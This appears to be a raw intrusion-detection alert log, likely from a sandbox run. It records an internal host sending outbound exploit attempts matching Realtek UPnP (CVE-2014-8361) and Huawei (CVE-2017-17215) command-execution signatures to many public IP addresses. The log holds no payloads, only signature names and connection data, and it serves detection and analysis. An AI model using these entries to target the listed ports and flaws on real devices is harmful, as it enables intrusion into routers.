07/20/24-23:01:24.990022	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56464	52869	192.168.2.23	85.173.195.222
07/20/24-23:01:47.872561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45328	52869	192.168.2.23	84.198.11.250
07/20/24-23:01:53.665550	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60378	52869	192.168.2.23	153.51.4.30
07/20/24-23:01:43.392835	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36384	52869	192.168.2.23	202.8.238.183
07/20/24-23:01:44.971718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52574	52869	192.168.2.23	210.173.156.193
07/20/24-23:01:43.946379	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46328	52869	192.168.2.23	151.244.29.112
07/20/24-23:02:10.031806	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43076	52869	192.168.2.23	64.169.37.205
07/20/24-23:01:34.043880	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49064	37215	192.168.2.23	41.5.220.159
07/20/24-23:01:24.944299	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46626	37215	192.168.2.23	157.132.44.64
07/20/24-23:01:49.011895	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43950	52869	192.168.2.23	59.76.186.58
07/20/24-23:01:24.904906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59956	37215	192.168.2.23	197.71.217.61
07/20/24-23:01:47.962852	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34886	52869	192.168.2.23	191.208.197.76
07/20/24-23:01:50.038268	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51568	52869	192.168.2.23	166.125.46.208
07/20/24-23:02:06.553447	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48814	52869	192.168.2.23	58.121.119.159
07/20/24-23:01:42.632446	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53810	52869	192.168.2.23	189.193.210.39
07/20/24-23:01:46.293475	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48050	52869	192.168.2.23	37.140.130.170
07/20/24-23:02:43.072508	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43146	52869	192.168.2.23	44.124.10.6
07/20/24-23:01:44.139692	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58250	52869	192.168.2.23	157.142.102.71
07/20/24-23:01:41.303455	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42292	52869	192.168.2.23	182.86.228.100
07/20/24-23:01:27.660100	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40954	37215	192.168.2.23	171.152.33.197
07/20/24-23:01:47.995637	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58774	52869	192.168.2.23	59.121.190.157
07/20/24-23:02:09.627181	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49196	52869	192.168.2.23	164.143.82.53
07/20/24-23:01:34.050672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39532	37215	192.168.2.23	41.141.197.116
07/20/24-23:01:57.101402	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34722	52869	192.168.2.23	117.106.84.138
07/20/24-23:02:00.512136	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59352	52869	192.168.2.23	120.165.99.108
07/20/24-23:01:52.947418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44360	52869	192.168.2.23	173.232.109.220
07/20/24-23:01:43.841155	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47910	52869	192.168.2.23	133.172.125.251
07/20/24-23:00:59.185032	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35748	37215	192.168.2.23	197.112.222.157
07/20/24-23:01:44.362240	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42968	52869	192.168.2.23	48.223.177.47
07/20/24-23:03:46.099099	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42158	52869	192.168.2.23	39.42.185.132
07/20/24-23:01:40.301143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55040	37215	192.168.2.23	111.130.70.21
07/20/24-23:01:45.118041	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59874	52869	192.168.2.23	93.106.207.118
07/20/24-23:01:44.280821	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50254	52869	192.168.2.23	4.66.151.191
07/20/24-23:01:49.232174	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51510	52869	192.168.2.23	86.212.150.4
07/20/24-23:01:34.050672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39408	37215	192.168.2.23	197.35.38.63
07/20/24-23:01:25.288927	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51686	52869	192.168.2.23	70.161.8.187
07/20/24-23:01:42.617689	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60852	52869	192.168.2.23	77.135.26.34
07/20/24-23:01:48.216693	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60934	52869	192.168.2.23	133.159.36.252
07/20/24-23:01:43.007032	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60640	52869	192.168.2.23	8.18.22.34
07/20/24-23:01:00.639011	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37970	37215	192.168.2.23	41.232.6.48
07/20/24-23:01:04.098909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56022	37215	192.168.2.23	41.78.28.79
07/20/24-23:01:21.943544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51176	37215	192.168.2.23	41.49.181.54
07/20/24-23:01:57.757934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47594	52869	192.168.2.23	208.150.189.204
07/20/24-23:01:58.249115	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40794	52869	192.168.2.23	34.100.42.211
07/20/24-23:01:02.090403	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36694	52869	192.168.2.23	153.0.45.254
07/20/24-23:01:51.358348	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57654	52869	192.168.2.23	195.45.218.64
07/20/24-23:02:37.123706	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42692	52869	192.168.2.23	90.118.44.58
07/20/24-23:01:20.592479	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36596	52869	192.168.2.23	32.75.241.221
07/20/24-23:01:08.634900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54028	52869	192.168.2.23	195.184.165.232
07/20/24-23:00:59.213564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58330	37215	192.168.2.23	41.128.110.44
07/20/24-23:01:21.938818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49236	37215	192.168.2.23	41.239.63.70
07/20/24-23:01:41.347676	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46104	52869	192.168.2.23	173.176.211.200
07/20/24-23:02:03.032025	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58854	52869	192.168.2.23	60.191.4.143
07/20/24-23:01:34.044537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50196	37215	192.168.2.23	220.35.159.72
07/20/24-23:01:45.092574	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34552	52869	192.168.2.23	34.147.70.115
07/20/24-23:01:02.045685	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33838	37215	192.168.2.23	41.101.142.15
07/20/24-23:01:08.652877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49584	52869	192.168.2.23	93.10.103.253
07/20/24-23:01:08.582150	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60208	52869	192.168.2.23	189.28.183.134
07/20/24-23:01:42.717611	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38634	52869	192.168.2.23	163.215.30.136
07/20/24-23:01:41.676253	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58742	52869	192.168.2.23	157.9.32.210
07/20/24-23:01:43.282556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45418	52869	192.168.2.23	173.144.227.253
07/20/24-23:01:04.187171	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59650	52869	192.168.2.23	57.179.102.199
07/20/24-23:01:42.571884	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50062	52869	192.168.2.23	106.219.50.159
07/20/24-23:01:42.800757	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36946	52869	192.168.2.23	222.217.185.57
07/20/24-23:01:47.693711	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58450	52869	192.168.2.23	125.188.157.139
07/20/24-23:01:03.486619	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43862	52869	192.168.2.23	209.154.77.145
07/20/24-23:02:07.698636	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41422	52869	192.168.2.23	166.233.183.8
07/20/24-23:01:27.653586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54258	37215	192.168.2.23	175.51.152.50
07/20/24-23:01:51.400635	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54792	52869	192.168.2.23	156.192.144.142
07/20/24-23:01:31.975513	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45194	37215	192.168.2.23	157.217.25.84
07/20/24-23:02:01.256493	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52512	52869	192.168.2.23	133.248.174.120
07/20/24-23:00:59.211046	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46326	37215	192.168.2.23	157.222.120.169
07/20/24-23:01:47.410893	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47218	52869	192.168.2.23	94.51.135.205
07/20/24-23:01:27.650243	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58900	37215	192.168.2.23	157.154.3.106
07/20/24-23:01:44.698984	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40512	52869	192.168.2.23	154.31.9.47
07/20/24-23:01:20.181938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49432	37215	192.168.2.23	41.213.41.33
07/20/24-23:01:42.042815	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54570	52869	192.168.2.23	49.137.23.5
07/20/24-23:01:31.312614	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49448	52869	192.168.2.23	114.247.247.18
07/20/24-23:01:43.938688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44104	52869	192.168.2.23	152.150.124.219
07/20/24-23:01:41.275004	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55772	52869	192.168.2.23	112.189.246.31
07/20/24-23:01:46.490827	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51232	52869	192.168.2.23	112.170.166.3
07/20/24-23:01:51.944006	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43396	52869	192.168.2.23	182.158.136.187
07/20/24-23:01:08.607816	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43644	52869	192.168.2.23	78.200.30.164
07/20/24-23:01:40.307219	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47256	37215	192.168.2.23	197.19.231.74
07/20/24-23:01:43.944379	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57812	52869	192.168.2.23	65.50.132.254
07/20/24-23:01:51.183470	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59044	52869	192.168.2.23	167.207.100.170
07/20/24-23:01:31.316196	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59490	52869	192.168.2.23	59.21.137.98
07/20/24-23:01:31.986571	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56050	37215	192.168.2.23	209.95.190.72
07/20/24-23:01:41.238000	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52642	52869	192.168.2.23	190.125.30.210
07/20/24-23:01:08.560530	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49680	52869	192.168.2.23	109.23.172.87
07/20/24-23:01:42.651912	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35654	52869	192.168.2.23	17.17.223.92
07/20/24-23:01:43.918789	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57088	52869	192.168.2.23	129.76.21.211
07/20/24-23:00:57.220685	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36734	37215	192.168.2.23	157.189.55.135
07/20/24-23:01:42.817395	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35392	52869	192.168.2.23	137.218.170.227
07/20/24-23:01:44.446628	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58682	52869	192.168.2.23	32.189.144.58
07/20/24-23:01:53.392805	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54570	52869	192.168.2.23	149.78.178.94
07/20/24-23:01:49.567841	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53186	52869	192.168.2.23	213.235.51.156
07/20/24-23:02:05.636717	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34174	52869	192.168.2.23	99.148.114.78
07/20/24-23:01:31.329969	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59718	52869	192.168.2.23	36.125.123.117
07/20/24-23:01:14.097135	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50178	37215	192.168.2.23	105.62.150.147
07/20/24-23:01:56.210612	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59372	52869	192.168.2.23	193.18.125.219
07/20/24-23:01:45.713934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60998	52869	192.168.2.23	97.24.147.38
07/20/24-23:01:26.151841	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58956	52869	192.168.2.23	213.157.19.102
07/20/24-23:01:56.577149	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44372	52869	192.168.2.23	64.151.112.79
07/20/24-23:01:00.634292	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38768	37215	192.168.2.23	64.62.112.142
07/20/24-23:01:31.986571	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33436	37215	192.168.2.23	2.53.137.120
07/20/24-23:01:11.639230	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33910	37215	192.168.2.23	131.224.25.117
07/20/24-23:01:43.078618	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43602	52869	192.168.2.23	64.107.44.177
07/20/24-23:01:02.449592	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43378	52869	192.168.2.23	201.173.108.254
07/20/24-23:00:59.153608	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34534	37215	192.168.2.23	157.86.250.128
07/20/24-23:01:52.546535	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45056	52869	192.168.2.23	38.184.175.46
07/20/24-23:01:44.831437	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51570	52869	192.168.2.23	172.247.8.242
07/20/24-23:00:57.221504	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46632	37215	192.168.2.23	197.17.13.46
07/20/24-23:01:08.623583	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33670	52869	192.168.2.23	164.251.43.137
07/20/24-23:01:27.655551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54210	37215	192.168.2.23	197.122.89.119
07/20/24-23:01:45.500697	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59950	52869	192.168.2.23	88.49.181.78
07/20/24-23:02:02.527007	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39876	52869	192.168.2.23	217.255.162.70
07/20/24-23:01:41.354322	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35380	52869	192.168.2.23	125.246.56.225
07/20/24-23:01:42.608153	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37398	52869	192.168.2.23	143.66.245.70
07/20/24-23:01:42.912947	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32852	52869	192.168.2.23	131.104.254.70
07/20/24-23:00:59.157444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37038	37215	192.168.2.23	107.136.23.140
07/20/24-23:01:43.498156	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38412	52869	192.168.2.23	220.111.117.206
07/20/24-23:01:46.808111	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47348	52869	192.168.2.23	17.182.173.35
07/20/24-23:01:55.666677	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41774	52869	192.168.2.23	125.67.244.75
07/20/24-23:00:59.172943	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43118	37215	192.168.2.23	197.65.44.128
07/20/24-23:02:06.767377	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42954	52869	192.168.2.23	53.5.161.227
07/20/24-23:01:01.139063	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43466	52869	192.168.2.23	189.75.86.189
07/20/24-23:01:41.549051	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50696	52869	192.168.2.23	88.132.0.162
07/20/24-23:01:46.176757	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53902	52869	192.168.2.23	202.109.173.165
07/20/24-23:01:43.515688	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38398	52869	192.168.2.23	137.133.156.16
07/20/24-23:02:21.324806	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46214	52869	192.168.2.23	27.91.150.196
07/20/24-23:01:42.499887	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33130	52869	192.168.2.23	220.112.19.15
07/20/24-23:01:08.939279	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49680	52869	192.168.2.23	117.49.51.0
07/20/24-23:01:47.420081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51354	52869	192.168.2.23	114.188.204.238
07/20/24-23:00:59.203960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37906	37215	192.168.2.23	41.53.184.177
07/20/24-23:01:24.877747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39132	37215	192.168.2.23	157.65.10.54
07/20/24-23:01:41.345953	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45422	52869	192.168.2.23	219.124.32.18
07/20/24-23:01:02.103737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45384	37215	192.168.2.23	41.95.186.20
07/20/24-23:02:04.133788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58818	52869	192.168.2.23	83.234.152.115
07/20/24-23:01:40.291616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50054	37215	192.168.2.23	38.187.179.55
07/20/24-23:01:52.701293	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53396	52869	192.168.2.23	175.210.141.95
07/20/24-23:01:59.030102	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36116	52869	192.168.2.23	159.45.241.196
07/20/24-23:01:42.637859	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57312	52869	192.168.2.23	78.5.59.56
07/20/24-23:01:52.543362	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58208	52869	192.168.2.23	83.201.129.18
07/20/24-23:01:07.021159	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60526	37215	192.168.2.23	41.63.85.196
07/20/24-23:01:57.943877	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50128	52869	192.168.2.23	103.180.88.194
07/20/24-23:01:44.491962	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54654	52869	192.168.2.23	143.254.203.194
07/20/24-23:01:42.147980	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47972	52869	192.168.2.23	75.161.254.133
07/20/24-23:00:59.211046	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33444	37215	192.168.2.23	197.168.86.78
07/20/24-23:01:41.967549	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48812	52869	192.168.2.23	103.68.36.118
07/20/24-23:01:21.923917	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56318	37215	192.168.2.23	197.212.226.255
07/20/24-23:01:42.069870	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33706	52869	192.168.2.23	20.143.101.231
07/20/24-23:01:20.161614	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55702	37215	192.168.2.23	157.73.42.54
07/20/24-23:01:42.891313	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35544	52869	192.168.2.23	206.12.145.11
07/20/24-23:01:08.578727	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38080	52869	192.168.2.23	48.69.126.229
07/20/24-23:01:10.633889	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54264	52869	192.168.2.23	57.137.225.59
07/20/24-23:01:08.620788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60702	52869	192.168.2.23	186.129.229.179
07/20/24-23:02:05.287905	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55880	52869	192.168.2.23	221.139.54.252
07/20/24-23:01:24.862410	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55724	37215	192.168.2.23	34.93.53.66
07/20/24-23:01:49.525770	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57812	52869	192.168.2.23	74.81.74.58
07/20/24-23:01:05.126622	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42544	52869	192.168.2.23	174.56.72.194
07/20/24-23:01:56.300735	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52236	52869	192.168.2.23	49.127.162.127
07/20/24-23:01:20.149798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33656	37215	192.168.2.23	41.31.171.242
07/20/24-23:01:44.765093	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33644	52869	192.168.2.23	39.114.224.236
07/20/24-23:02:00.351070	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45256	52869	192.168.2.23	130.165.149.247
07/20/24-23:01:42.486622	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43704	52869	192.168.2.23	47.30.224.199
07/20/24-23:01:02.095698	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51666	37215	192.168.2.23	157.58.16.237
07/20/24-23:01:24.724267	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42848	52869	192.168.2.23	75.178.59.59
07/20/24-23:00:59.204975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55528	37215	192.168.2.23	210.132.156.163
